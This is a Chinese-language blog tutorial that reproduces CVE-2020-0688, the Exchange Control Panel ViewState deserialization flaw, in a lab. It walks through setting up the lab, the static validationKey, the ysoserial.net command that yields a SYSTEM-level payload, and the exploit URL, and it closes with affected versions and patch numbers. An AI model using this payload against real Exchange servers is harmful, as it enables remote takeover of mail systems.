这篇文章将为大家详细讲解有关如何进行微软Exchange服务远程代码执行漏洞复现,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
环境搭建
使用Windows Server 2008安装Exchange Server 2013
-
首先要在虚拟机内将Server2008设置为静态IP
-
在服务器管理器中选择添加角色-勾选域服务
-
安装完成后,在开始->运行打开dcpromo
-
点击两次下一步后,选择在新林中新建域
-
输入一个域名格式
-
选择win2008,勾选dns
-
设置密码
-
完成安装
前期准备
-
打开ad用户和计算机,选择users添加域用户
-
创建完成后更改域
-
输入刚刚添加的用户,之后重启计算机
-
使用刚才添加的用户登录后安装其他必备组件
管理员启动powershell
Import-Module ServerManager
Add-WindowsFeature RSAT-ADDS -
安装完成后重启计算机,使用管理员权限打开powershell
Import-Module ServerManager
Add-WindowsFeature NET-Framework, ADLDS -
安装.Net 4.5
-
安装Microsoft Office 2010 Filter Pack 64 位
https://www.microsoft.com/en-us/download/confirmation.aspx?id=17062
-
打开exchange,选择解压位置
-
开始安装Exchang
-
安装过程遇到一堆问题,挨个解决。。
-
开始正式安装
安装完成
CVE-2020-0688漏洞复现
-
漏洞详情
具体来说,漏洞是在Exchange Control Panel (ECP)组件中发现的。这个漏洞的性质非常简单。与每次软件安装都会产生随机密钥不同,所有Microsoft Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。
由于使用了静态密钥,经过身份验证的攻击者可以欺骗目标服务器反序列化恶意创建的ViewState数据。在YSoSerial.net的帮助下,攻击者可以在Exchange Control Panel web应用上执行任意.net代码。
-
为了利用这个漏洞,我们需要从经过身份验证的session中收集ViewStateUserKey和__VIEWSTATEGENERATOR值。ViewStateUserKey可以从ASP.NET的_SessionIDcookie中获取,而ViewStateUserKey可以在一个隐藏字段中找到。所有这些都可以通过浏览器中的工具轻松找到。
首先,进入192.168.92.128/ecp页面并登录。所使用的帐户不需要任何高权限 -
接下来,打开浏览器开发工具的Network选项,然后按F5重新发送请求。在页面源代码中可以找到 __VIEWSTATEGENERATOR,它的值是B97B4E27
然后,打开Headers选项卡并找到ASP.NET_SessionId=40c8e078-dc79-4001-9a52-de175b38a028 -
现在获得了攻击所需要的全部信息:
–validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
–validationalg = SHA1
–generator = B97B4E27
–viewstateuserkey = c1187666-c0ae-4f61-95d4-d2f5348d4300 -
下一步是使用ysoserial.net生成ViewState的paylaod。通过创建文件C:/TideSec.txt来演示远程代码执行:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c echo test > C:/TideSec.txt" –validationalg="SHA1" –validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" –generator="B97B4E27" –viewstateuserkey="c1187666-c0ae-4f61-95d4-d2f5348d4300" –isdebug –islegacy -
将输出结果进行URL编码并构造如下URL:
https://192.168.92.128/ecp/default.aspx?VIEWSTATEGENERATOR=&VIEWSTATE=
浏览器内提交地址进行访问,回显500错误,但实际已经创建成功,并且可以看到是具有SYSTEM”权限的进程创建的。这表明攻击者可以以“SYSTEM”身份远程执行代码,完全破坏Exchange服务器。
影响范围及加固
-
影响版本
影响所有版本的Exchang Server:
Microsoft Exchange Server 2010 Service Pack 3
Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019 -
防护措施
补丁下载
Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 30 KB4536989
Microsoft Exchange Server 2013 Cumulative Update 23 KB4536988
Microsoft Exchange Server 2016 Cumulative Update 14 KB4536987
Microsoft Exchange Server 2016 Cumulative Update 15 KB4536987
Microsoft Exchange Server 2019 Cumulative Update 3 KB4536987
Microsoft Exchange Server 2019 Cumulative Update 4 KB4536987
关于如何进行微软Exchange服务远程代码执行漏洞复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
原创文章,作者:kirin,如若转载,请注明出处:https://blog.ytso.com/220560.html